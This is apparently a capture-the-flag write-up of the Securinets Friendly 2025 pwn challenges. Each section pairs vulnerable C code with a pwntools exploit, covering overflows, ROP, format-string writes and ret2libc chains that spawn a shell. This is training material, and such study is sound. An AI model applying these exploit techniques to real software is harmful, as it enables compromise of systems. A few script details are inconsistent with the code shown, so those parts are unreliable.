Summary

This post contains quick writeups for all the binary exploitation (pwn) challenges from the Securinets Friendly 2025 CTF competition. The challenges are organized into three waves, progressively increasing in difficulty from basic netcat connections to ret2libc techniques.

The challenges cover fundamental pwn concepts including:
- Basic netcat usage and shell interaction
- Buffer overflow vulnerabilities
- Return-oriented programming (ROP)
- Format string vulnerabilities
- ret2libc techniques
- Stack manipulation and exploitation


Wave 1: Fundamentals

baby_netcat

// gcc main.c -o main  
#include <stdio.h>  

void setup();  
void win();  

int main(void) {  
    setup(); // Ignore this  
    win();  
    return 0;  
}  

void win() {  
    FILE *f = fopen("./flag", "rb");  
    if (!f) { perror("fopen"); return; }  

    char c;  
    while((c = fgetc(f)) != EOF) {  
        fputc(c, stdout);  
    }  
    fclose(f);  
}  

Explanation

This is an introductory challenge that simply requires connecting to the service using netcat. The program automatically reads and prints the flag file. This challenge teaches basic netcat usage and remote connection concepts.

Solution

Simply connect to the service and the flag will be displayed automatically.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('pwn.ctf-friendly.securinets.tn', 1337)  

io.interactive()  

Flag: SecuriNets{ju57_nc_70_g37_7h3_fl49}


baby_shell

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void setup();  

int main(void) {  
    setup(); // Ignore this  
    system("/bin/sh");  
    return 0;  
}  

Explanation

This challenge is designed to help you practice basic shell commands in a remote environment. The program automatically gives you a shell when you connect. The goal is to learn how to navigate the filesystem using basic Linux commands like ls to list files and cat to read file contents.

Solution

Once connected, use standard shell commands to find and read the flag file.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service    
io = remote('host', port)  

io.sendline(b'ls')        # list files  
io.sendline(b'cat flag')  # cat the flag  

io.interactive()  

Flag: SecuriNets{c4t_fl49_r3m073_5h3ll}


baby_overflow

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    int64_t key = 0x1337;  
    volatile int64_t pad = 0x0;  
    char buffer[8];  

    puts("The floor is yours, express yourself");  
    printf("> ");  
    gets(buffer);  

    if (key == 0x1337) {  
        puts("key is intact, no flag for you");  
    } else {  
        puts("Woah! how did you do that");  
        win();  
    }  
}  

Explanation

This challenge introduces classic buffer overflow vulnerability using the dangerous gets() function. The stack layout has:
- buffer[8] (8 bytes)
- pad variable (8 bytes)
- key variable (8 bytes)

We need to overflow the 8-byte buffer to corrupt the key variable and change it from 0x1337 to something else.

Solution

We need to send 16 bytes to fill the buffer and pad, then at least one more byte to modify the key.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

payload = b'A' * 0x10  # override the buffer and pad variables  
payload += b'B'        # override the first byte of the key variable  
# sendline() will also add a null byte, overriding the second byte of key  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{st4ck_r3writ3_k3y_fl49}


controlled_overflow

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    int64_t key = 0x1337;  
    volatile int64_t pad = 0x0;  
    char buffer[8];  

    gets(buffer);  

    if (key == 0x1337) {  
        puts("key is intact, no flag for you");  
    } else if (key == 0x3030303030303030) {  
        puts("Woah! how did you do that");  
        win();  
    } else {  
        printf("Key should be 0x3030303030303030\n");  
        printf("But currently it is 0x%016lx\n", key);  
        puts("You need to put the right value in the key variable");  
    }  
}  

Explanation

This challenge demonstrates controlled buffer overflow where we need to overflow the buffer to overwrite the key variable with a specific value: 0x3030303030303030. The stack layout has buffer[8], pad (8 bytes), and key (8 bytes). We need to overflow the buffer to write the exact required value into the key.

Solution

We need to send enough data to fill the buffer and pad, then write the specific value 0x3030303030303030 to the key variable.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

payload = b'A' * 0x10                        # fill buffer + pad  
payload += p64(0x3030303030303030)            # overwrite key with required value  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{st4ck_c0n7r0ll3d_0v3rfl0w_r3writ3_k3y_fl49}


baby_pwntools

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    int64_t secret = 0xc0d3b4b3;  

    printf("My secret is 0x%016lx\n> ", secret);  
    fgets((char*)&secret, 0x8, stdin);  

    puts("Did you pull it off?");  
    printf("My secret is now 0x%016lx\n", secret);  

    if (secret == 0x0) {  
        puts("You did it!");  
        win();  
    } else {  
        puts("There are still traces of my secret out there!");  
        puts("The memory needs to be nulled");  
        puts("Please use pwntools to wipe it out");  
    }  
}  

Explanation

This challenge is designed to teach you how to use pwntools for binary exploitation. The program reads 8 bytes directly into a secret variable and checks if you can make it equal to 0x0. This isn't about finding a vulnerability - it's about learning to use pwntools to send specific bytes (null bytes in this case) to a program.

Solution

Use pwntools to send 8 null bytes to zero out the secret variable.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

payload = b'\x00' * 0x8  
io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{pwn700l5_m4k35_l1f3_5up3r_dup3r_345y}


calculator

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <signal.h>  

void alarm_handler() {  
    puts("You took too long");  
    exit(0);  
}  

void vuln() {  
    int64_t sum = 0;  
    for (int i = 0; i < 60; i++) {  
        int temp = random() % 100;  
        sum += temp;  
        printf("%d\n", temp);  
    }  
    puts("--------------------------------");  

    signal(SIGALRM, alarm_handler);  
    alarm(2);  

    int64_t input;  
    printf("> ");  
    scanf("%lld", &input);  

    if (input == sum) {  
        win();  
    } else {  
        puts("You can't do math");  
    }  
}  

Explanation

This challenge provides more practice with pwntools automation. The program generates 60 random numbers and gives you only 2 seconds to calculate and submit their sum. This teaches you how to use pwntools to parse program output, perform calculations, and respond quickly - essential skills for binary exploitation where timing and automation are crucial.

Solution

Use pwntools to automatically read the numbers, calculate their sum, and submit the result within the time limit.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'--------------------------------\n')  
sum = 0  
for i in range(60):  
    sum += int(io.recvline().strip(), 10)  

io.sendline(str(sum).encode())  

io.interactive()  

Flag: SecuriNets{y0ur3_574r71n9_70_m4573r_pwnt00l5_99}


jmp2win

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    int64_t function_to_call = 0x0;  
    printf("function_to_call: 0x%016lx\n", function_to_call);  
    puts("Write exactly 8 bytes:");  
    fgets((char*)&function_to_call, 0x8, stdin);  
    printf("function_to_call: 0x%016lx\n\n", function_to_call);  
    puts("Here goes nothing…");  
    ((void (*)())function_to_call)();  
}  

void win() {  
    // reads and prints flag  
}  

Explanation

This challenge provides even more pwntools practice, serving as a warm-up for ret2win techniques. The program helpfully gives you the address of the win() function and asks you to provide a function address to call. This teaches you how to parse hexadecimal addresses from program output and use them in your exploit - a fundamental skill for binary exploitation.

Solution

Use pwntools to parse the win() address from the program output and send it back when prompted.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b': ')  
win = int(io.recvline()[:-1], 16)  
io.sendline(p64(win))  

io.interactive()  

Flag: SecuriNets{7h15_15_ju57_4_w4rmup_f0r_ret2win}


ret2win

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    char buffer[8];  
    printf("Override saved rip with the address of win: 0x%016llx\n> ", &win);  
    gets(buffer);  
    puts("Here goes nothing...");  
}  

void win() {  
    FILE *f = fopen("./flag", "rb");  
    // ... reads and prints flag  
}  

Explanation

This challenge introduces the classic "return-to-win" technique. The program uses the vulnerable gets() function and conveniently provides the address of the win() function. We need to overflow the buffer to overwrite the saved return address on the stack with the address of win().

The stack layout for the vuln() function is:
- buffer[8] (8 bytes)
- saved rbp (8 bytes)
- saved return address (8 bytes)

Solution

We need to overflow the buffer and saved rbp, then overwrite the return address with the address of win().

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b': ')  
win = int(io.recvline()[:-1], 16)  

payload = b'A' * 0x10      # overflow buffer + saved rbp  
payload += p64(win)        # overwrite return address with win()  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{y0u_c4n_d0_4_r37_2_w1n_y0ur_j0urn3y_h45_0ff1c14lly_b3gun}


Wave 2: Intermediate Techniques

ret2win_args

// gcc main.c -o main -Wno-implicit-function-declaration -m32  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    char buffer[4];  
    puts("Let's see what you have to say for yourself");  
    printf("> ");  
    gets(buffer);  
    puts("Here goes nothing...");  
}  

void win(int arg) {  
    puts("You've reached the win function");  
    puts("The value of arg expected is 0x1337");  
    printf("The value of arg you passed is 0x%08x\n", arg);  

    if (arg != 0x1337) {  
        puts("YOU LOSE");  
        exit(0);  
    }  
    puts("YOU WIN");  
    // prints flag  
}  

Explanation

This 32-bit challenge introduces function arguments in buffer overflow exploitation. We need to not only redirect execution to the win() function but also provide the correct argument (0x1337). In 32-bit x86, arguments are passed on the stack after the return address.

Solution

In 32-bit calling convention, we need to set up the stack with: return address to win, fake return address, then the argument 0x1337.

#!/usr/bin/python3  
from pwn import *  

elf = ELF('./main')  

# Connect to remote service    
io = remote('host', port)  

payload = b'A' * 0x8       # buffer   
payload += b'BBBB'         # saved ebp  
payload += p32(elf.sym.win)  # return to win  
payload += b'CCCC'         # fake return address  
payload += p32(0x1337)     # argument  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{r3t2w1n_w17h_4r95_15_345yyyy}


ret2win_args_64

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void gadgets() {  
    __asm__(  
        "pop %rdi;\n"  
        "ret;"  
        "pop %rsi;\n"  
        "ret;"  
    );  
}  

void vuln() {  
    char buffer[8];  
    puts("Let's see what you have to say for yourself");  
    printf("> ");  
    gets(buffer);  
    puts("Here goes nothing...");  
}  

void win(int arg1, int arg2) {  
    puts("You've reached the win function");  
    puts("The value of arg1 expected is 0x1337");  
    printf("The value of arg1 you passed is 0x%016lx\n", arg1);  
    puts("The value of arg2 expected is 0xc0d3b4b3");  
    printf("The value of arg2 you passed is 0x%016lx\n", arg2);  

    if (arg1 != 0x1337 || arg2 != 0xc0d3b4b3) {  
        puts("YOU LOSE");  
        exit(0);  
    }  
    puts("YOU WIN");  
    // prints flag  
}  

Explanation

This 64-bit version requires understanding x86-64 calling convention where the first six arguments are passed in registers (RDI, RSI, RDX, RCX, R8, R9). The program conveniently provides ROP gadgets to set up these registers with the required values (0x1337 and 0xc0d3b4b3).

Solution

Use the provided ROP gadgets to set up the arguments in the correct registers before calling win().

#!/usr/bin/python3  
from pwn import *  

elf = ELF('./main')  

# Connect to remote service  
io = remote('host', port)  

# Use the provided gadgets  
pop_rdi = elf.sym.gadgets + 4  # pop rdi; ret  
pop_rsi = elf.sym.gadgets + 6  # pop rsi; ret  

payload = b'A' * 0x10         # buffer + saved rbp    
payload += p64(pop_rdi)       # pop rdi; ret  
payload += p64(0x1337)        # arg1 -> rdi  
payload += p64(pop_rsi)       # pop rsi; ret    
payload += p64(0xc0d3b4b3)    # arg2 -> rsi  
payload += p64(elf.sym.win)   # call win()  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{r3t2w1n_w17h_4r95_15_345yyy_3v3n_1n_64_b17}


baby_format_strings

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

#define FLAG_SIZE 256  
char flag[FLAG_SIZE];  

void vuln() {  
    char arg1[10];  
    long arg2;  
    printf("First arg (string)\n> ");  
    fgets(arg1, sizeof(arg1), stdin);  
    arg1[strcspn(arg1, "\n")] = 0;  
    printf("Second arg (pointer)\n> ");  
    fgets((char*)&arg2, sizeof(arg2), stdin);  

    puts("");  
    hexdump("arg1", arg1);  
    hexdump("arg2", &arg2);  
    printf("\ncalling printf(%s, %p)\n\n", arg1, arg2);  

    printf(arg1, arg2);  
}  

void banner() {  
    puts("I have read the flag into a buffer for you.");  
    printf("It is stored at %p\n", &flag);  
    puts("I will call printf with 2 args you give me");  
}  

Explanation

This challenge teaches you about format specifiers in C and how they work with printf. The program helpfully provides you with a format string and a pointer argument to practice with. This introduces the concept of format strings in a controlled environment where you can learn how %s reads strings from memory addresses.

Solution

Use the %s format specifier to read the flag from the provided memory address.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'It is stored at ')  
flag_addr = int(io.recvline().strip(), 16)  

io.recvuntil(b'> ')  
io.sendline(b'%s')        # format string  

io.recvuntil(b'> ')  
io.sendline(p64(flag_addr))  # pointer to flag  

io.interactive()  

Flag: SecuriNets{f0rm47_5p3c1f13r5_1n_C_4r3_4w340m3}


baby_format_strings_2

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

#define FLAG_SIZE 256  

void vuln() {  
    char user_input[256];  
    char flag[FLAG_SIZE];  

    // Reads the flag and stores it on the stack  
    FILE *f = fopen("./flag", "r");  
    if (!f) {  
        perror("Failed to open ./flag");  
        exit(EXIT_FAILURE);  
    }  

    if (!fgets(flag, sizeof(flag), f)) {  
        perror("Failed to read ./flag");  
        fclose(f);  
        exit(-1);  
    }  
    fclose(f);  

    puts("");  
    printf("Tell me something and I will echo it\n> ");  
    fgets(user_input, sizeof(user_input), stdin);  
    printf(user_input);  
}  

Explanation

This challenge teaches you about format string vulnerabilities where user input is directly passed to printf. The program reads the flag into a local buffer on the stack and then echoes back whatever you input using printf. You can use format specifiers to read data from the stack, including the flag that was stored there.

Solution

Use format specifiers to read the flag from the stack. Since the flag is stored as a local variable, you can use positional format specifiers like %7$s to read it.

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'> ')  
payload = b'0x%016lx,' * 0x10  
io.sendline(payload)  
data = io.clean()  
data = data.split(b',')  

flag = ""  
reached_flag = False  
for i in range(len(data)):  
    s = int(data[i], 16).to_bytes(8, 'little')  
    if b'Securi' in s:  
        reached_flag = True  
    if b'}' in s:  
        flag += s[:s.find(b'}')+1].decode()  
        break  
    if reached_flag:  
        flag += s.decode()  
print(flag)  

io.interactive()  

Flag: SecuriNets{f0rm47_5p3c1f13r5_4ll0w_f0r_m4ny_sh3n4n194n5}


format_strings_3

void vuln() {  
    int key = 0x1236;  
    char user_input[256];  

    printf("my key is at %p\n", &key);  
    printf("Tell me something and I will echo it\n> ");  
    fgets(user_input, sizeof(user_input), stdin);  
    printf(user_input);  

    printf("key 0x%08lx\n", key);  
    if (key == 0x1337) {  
        puts("GG");  
        win();  
    }  
}  

Explanation

This challenge extends format string exploitation to writing arbitrary values to memory addresses.

Solution

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'Address of key: ')  
key_addr = int(io.recvline().strip(), 16)  

# 0x1337 = 4919 in decimal    
# We need to print 4919 characters and then use %n  
payload = f"%{4919}c%7$n".encode()  
payload += b'A' * (8 - (len(payload) % 8))  # padding for alignment  
payload += p64(key_addr)  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{m4n1pul471n9_m3m0ry_u51n9_f0rm47_57r1n95}


ret2win_barricade

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void win() {  
    puts("You've reached the beginning of the win function");  
    puts("Too bad, you had to jump over the barricade");  
    void (*exit_ptr)(int) = exit;  
    exit_ptr(0);  
    puts("Woah! Nice jump");  
    system("/bin/sh");  
}  

void vuln() {  
    char buffer[8];  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
    puts("Let's see what you have to say for yourself");  
    printf("> ");  
    gets(buffer);  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
    puts("Here goes nothing...");  
}  

Explanation

This challenge introduces the concept of bypassing obstacles within functions. The win() function contains an exit(0) call in the middle that would terminate our exploit before we reach the system("/bin/sh") call. We need to jump over this "barricade" by calculating the exact offset to skip the exit call and land directly on the shell execution.

Solution

We need to jump to an address within the win() function that skips over the exit(0) call and lands directly on system("/bin/sh").

#!/usr/bin/python3  
from pwn import *  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'The win function is at ')  
win = int(io.recvline().strip(), 16)  
payload = b'A' * 0x10  
payload += p64(win + 60)  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{50m371m35_y0u_n33d_70_0ff537_y0ur_jump5}


rich

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

int networth = 0;  

void vuln() {  
    char buffer[8];  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
    puts("Do you have enough cash on you?");  
    printf("> ");  
    gets(buffer);  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
}  

void get_a_job() {  
    puts("Thank you for your hard work");  
    puts("We'll award you 10 SecuriPoints");  
    networth += 10;  
}  

void win() {  
    FILE *f = fopen("./flag", "rb");  
    if (!f) { perror("fopen"); exit(-1); }  

    if (networth < 100) {  
        puts("The flag costs 100 SecuriPoints");  
        printf("You only have %d\n", networth);  
        exit(0);  
    }  

    char c;  
    while((c = fgetc(f)) != EOF) {  
        fputc(c, stdout);  
    }  
    fclose(f);  
}  

Explanation

This challenge requires accumulating enough "SecuriPoints" to afford the flag. We need to call get_a_job() at least 10 times to reach 100 points, then call win().

Solution

We use a ROP chain to call get_a_job() 10 times to accumulate 100 points, then call win().

#!/usr/bin/python3  
from pwn import *  

elf = ELF('./main')  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'The get_a_job function is at ')  
get_a_job = int(io.recvline()[:-1], 16)  

payload = b'A' * 0x10  
payload += p64(get_a_job) * 0xa          # Call get_a_job 10 times  
payload += p64(get_a_job + elf.sym.win - elf.sym.get_a_job)  # Call win  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{r37urn1n9_mul71pl3_71m35_70_937_7h3_fl49}


broke

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

int networth = 1000;  
int donation = 10;  

void vuln() {  
    char buffer[8];  
    puts("Do you need assistance or would you like to support our mission?");  
    printf("> ");  
    gets(buffer);  
}  

void donate_to_mission() {  
    puts("Thank you for your donating to our mission");  
    if (donation == 0) {  
        puts("You've already donated");  
        exit(0);  
    }  
    networth -= donation;  
    donation = 0;  
    printf("Networth: %d\n", networth);  
}  

void get_hired() {  
    puts("Thank you for your hard work, you got compensated with 200000000 SecuriPoints");  
    networth += 200000000;  
    printf("Networth: %d\n", networth);  
}  

void win() {  
    if (networth >= 0) {  
        puts("You're not broke");  
        exit(0);  
    }  
    // prints flag if networth < 0  
}  

Explanation

This challenge explores the concept of "suffering from success" through integer overflow. The challenge asks: can you get so rich that you become poor? The get_hired() function adds 200,000,000 points each time, but if called enough times, the integer will overflow and wrap around to negative values, making you "broke". The win condition requires having negative networth.

Solution

Use a ROP chain to call get_hired() enough times to cause integer overflow, wrapping the networth to negative values.

#!/usr/bin/python3  
from pwn import *  

elf = context.binary = ELF('./main')  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'the donate_to_mission function is at ')  
elf.address = int(io.recvline().strip(), 16) - elf.sym.donate_to_mission  

payload = b'A' * 0x10  
payload += p64(elf.sym.get_hired) * 11  # Call get_hired 11 times to overflow  
payload += p64(elf.sym.win)             # Finally call win  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{y0u_g07_50_r1ch_y0ur_p0ck375_r1pp3d}


Wave 3: Advanced Techniques

baby_ret2libc

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void gadgets() {  
    __asm__(  
        "pop %rdi;\n"  
        "ret;"  
        "pop %rsi;\n"  
        "ret;"  
    );  
}  

void vuln() {  
    char buffer[8];  
    printf("address of system() 0x%016llx\n", &system);  
    printf("address of the gadgets 0x%016llx\n> ", &gadgets);  
    gets(buffer);  
    puts("Here goes nothing...");  
}  

Explanation

This challenge introduces ret2libc techniques. Instead of having a convenient win() function, we need to call system("/bin/sh") using libc functions. The program provides the address of system() and ROP gadgets to set up arguments.

Solution

We need to use the provided gadgets to set up RDI with a pointer to "/bin/sh" and then call system().

#!/usr/bin/python3  
from pwn import *  

elf = context.binary = ELF('./main')    
libc = ELF('./libc.so.6')  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'address of system() ')  
system_addr = int(io.recvline()[:-1], 16)  
libc.address = system_addr - libc.sym.system  

io.recvuntil(b'address of the gadgets ')  
gadgets = int(io.recvline().strip(), 16)  

# gadgets layout: pop rdi; ret; pop rsi; ret  
pop_rdi = gadgets + 4  
bin_sh = next(libc.search(b"/bin/sh\x00"))  

payload = b'A' * 0x10         # buffer + saved rbp  
payload += p64(pop_rdi)       # pop rdi; ret  
payload += p64(bin_sh)        # "/bin/sh" -> rdi  
payload += p64(system_addr)   # call system()  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{f0rg37_7h3_w1n_func710n_4nd_jump_70_sys73m_b1nsh}


ret2libc

// gcc main.c -o main -Wno-implicit-function-declaration  
#include <stdio.h>  
#include <stdlib.h>  

void gadgets() {  
    __asm__(  
        "pop %rdi;\n"  
        "ret;"  
        "pop %rsi;\n"  
        "ret;"  
    );  
}  

void vuln() {  
    char buffer[8];  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
    printf("address of the gadgets 0x%016llx\n> ", &gadgets);  
    gets(buffer);  
    dump_stack(); // This function is ONLY here for debugging/visibility. Skip it.  
    puts("Here goes nothing...");  
}  

Explanation

This challenge demonstrates a more realistic ret2libc scenario where we only get a PIE leak (gadgets address) and need to do a ROP to leak a libc address.

Solution

We use the puts() leak to calculate libc base, then find system() and "/bin/sh".

#!/usr/bin/python3  
from pwn import *  

elf = ELF('./main')  
libc = ELF('./libc.so.6')  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'address of the gadgets ')  
elf.address = int(io.recvline().strip(), 16) - elf.sym.gadgets  

payload = b'A' * 0x10  
payload += p64(elf.sym.gadgets+0x4)  
payload += p64(elf.got.gets)  
payload += p64(elf.sym.puts)  
payload += p64(elf.sym.vuln)  

io.sendline(payload)  

io.recvuntil(b'Here goes nothing...\n')  
libc.address = u64(io.recvline()[:-1].ljust(0x8, b'\x00')) - libc.sym.gets  
print(hex(libc.address))  

payload = b'A' * 0x10  
payload += p64(elf.sym.gadgets+0x4)  
payload += p64(next(libc.search(b'/bin/sh\x00')))  
payload += p64(elf.sym.gadgets+0x5)  
payload += p64(libc.sym.system)  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{dumping_libc_70_f1nd_sys73m_4nd_g3t_binsh}


format_strings_4

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    char user_input[128];  

    printf("> ");  
    fgets(user_input, sizeof(user_input), stdin);  
    printf(user_input);  

    printf("> ");  
    fgets(user_input, sizeof(user_input), stdin);  
    printf(user_input);  
}  

Explanation

This advanced format string challenge demonstrates a two-stage exploit technique. The program gives you two format string vulnerabilities in sequence. The challenge includes a stack dump that reveals the saved return address location. You need to:

  1. Stage 1: Use the first format string to leak the binary base address from the stack
  2. Stage 2: Use the second format string to overwrite the saved return address with the win() function address using byte-level writes

This technique is more realistic as it doesn't provide the target address directly - you must calculate it from leaked information.

Solution

A two-stage format string exploit that first leaks addresses, then overwrites the return address.

#!/usr/bin/python3  
from pwn import *  

elf = context.binary = ELF('./main')  

# Connect to remote service  
io = remote('host', port)  

# Parse the stack dump to get saved return address location  
for i in range(5):  
    io.recvuntil('├'.encode('utf-8'))  
io.recvuntil('│ \x1b[33m'.encode('utf-8'))  
saved_rip = int(io.recvuntil('\x1b[31m'.encode('utf-8'), drop=True), 16)  
io.recvuntil(b'> ')  

# Stage 1: Leak binary base address  
payload = b'%18$p'  
io.sendline(payload)  
elf.address = int(io.recvline().strip(), 16) - 0x3dd8  
log.success("Base address " + hex(elf.address))   

io.recvuntil(b'> ')  

# Stage 2: Overwrite saved return address with win() using byte writes  
payload = fmtstr_payload(6, {saved_rip : elf.sym.win}, write_size='byte')  
io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{r372w1n_by_h4rv3571n9_7h3_p0w3r_0f_f0rm47_57r1n95}


ret2libc_final

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  

void vuln() {  
    char buffer[8];  
    printf("I will echo what you tell me\n> ");  
    read(0, buffer, 0x30);  
    printf(buffer);  
}  

Explanation

This is the ultimate ret2libc challenge with minimal information provided. The program has both format string and buffer overflow vulnerabilities, but provides no PIE leak. We need to leak a libc address first, then use that to perform ret2libc. Since we don't have a PIE leak to know the full binary base address, we can only overwrite the lowest byte of the return address to redirect execution back to vuln() for a second stage. This off-by-one technique allows us to loop back without knowing the complete address space layout.

Solution

This requires a two-stage approach combining format string leak with off-by-one buffer overflow:

#!/usr/bin/python3  
from pwn import *  

elf = ELF('./main')  
libc = ELF('./libc.so.6')  

# Connect to remote service  
io = remote('host', port)  

io.recvuntil(b'> ')  

# Stage 1: Format string leak + off-by-one redirect  
payload = b'%3$p' + b'A' * 12                    # Leak libc address  
payload += p8((elf.sym.vuln & 0xff) + 0x1)      # Overwrite only lowest byte of ret addr  
                                                 # to redirect back to vuln() (no PIE leak needed)  

io.send(payload)  
libc.address = int(io.recvuntil(b'A', drop=True), 16) - 0x1147e2  
log.success("libc " + hex(libc.address))  

# Stage 2: Now we can do full ret2libc with known libc base  
rop = ROP(libc)  
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  

payload = b'A' * 0x10  
payload += p64(pop_rdi)  
payload += p64(next(libc.search(b'/bin/sh\x00')))  
payload += p64(pop_rdi+0x1)                      # stack alignment  
payload += p64(libc.sym.system)  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{0ff_by_0n3_l34k_4nd_c0nqu3r_l1bc_l1k3_4_pr0}


bronze

// gcc main.c -o main  
#include <stdio.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <unistd.h>  
#include <stdint.h>  

unsigned char buf[72];  

void get_random_sequence() {  
    uint8_t fd = open("/dev/random", O_RDONLY);  

    if (read(fd, buf, 72) != 72) {  
        exit(-1);  
    }  

    for (int i = 0; i < 72; i++) {  
        buf[i] = (buf[i] << 1) + 1;  
    }  
}  

int compare_with_nulls(char *i, char *j, int size) {  
    for (int k = 0; k < size; k++) {  
        if ((i[k] ^ j[k]) != 0) {  
            return 1;  
        }  
    }  
    return 0;  
}  

void vuln() {  
    long i = 0;  
    char user_input[72];  
    for (i = 0; i < 10; i++) {  
        get_random_sequence();  
        scanf("%72s", user_input);  
        if(!compare_with_nulls(user_input, buf, 72)) {  
            system("cat flag");  
        } else {  
            printf("No, it was %s\n", buf);  
        }  
    }  
    puts("skill issue");  
}  

Explanation

This challenge was designed as a logic puzzle that didn't require advanced technical skills, but rather a good eye for detail. The key insight is noticing that fd is declared as uint8_t, which can only hold values 0-255.

The vulnerability lies in the integer overflow: when open("/dev/random", O_RDONLY) returns a file descriptor greater than 255 (which happens after many file operations), the uint8_t fd wraps around to 0. When fd = 0, read(0, buf, 72) reads from stdin instead of /dev/urandom!

The strategy is:
1. Use buffer overflow to trigger many iterations and exhaust file descriptors until fd overflows to 0
2. Once fd = 0, we control what gets read into buf since it reads from our input
3. Send the transformed input that matches the expected pattern

Solution

Exploit the integer overflow to control the "random" data source.

#!/usr/bin/python3  
from pwn import *  

elf = context.binary = ELF('./main')  

# Connect to remote service  
io = remote('host', port)  

# Stage 1: Overflow fd counter to make it wrap to 0  
payload = b'A' * 72  
for i in range(253):  # Exhaust file descriptors  
    sleep(0.01)  
    io.send(payload)  
io.sendline(payload)  

# Stage 2: Now fd=0, so read() reads from our input  
# We need to send data that when transformed matches our guess  
shifted_byte = (0x41 << 1) + 1  # Transform 'A' the same way the program does  
payload = p8(shifted_byte) * 72  

io.sendline(payload)  

io.interactive()  

Flag: SecuriNets{0ff_by_0n3_0nc3_4941n_???}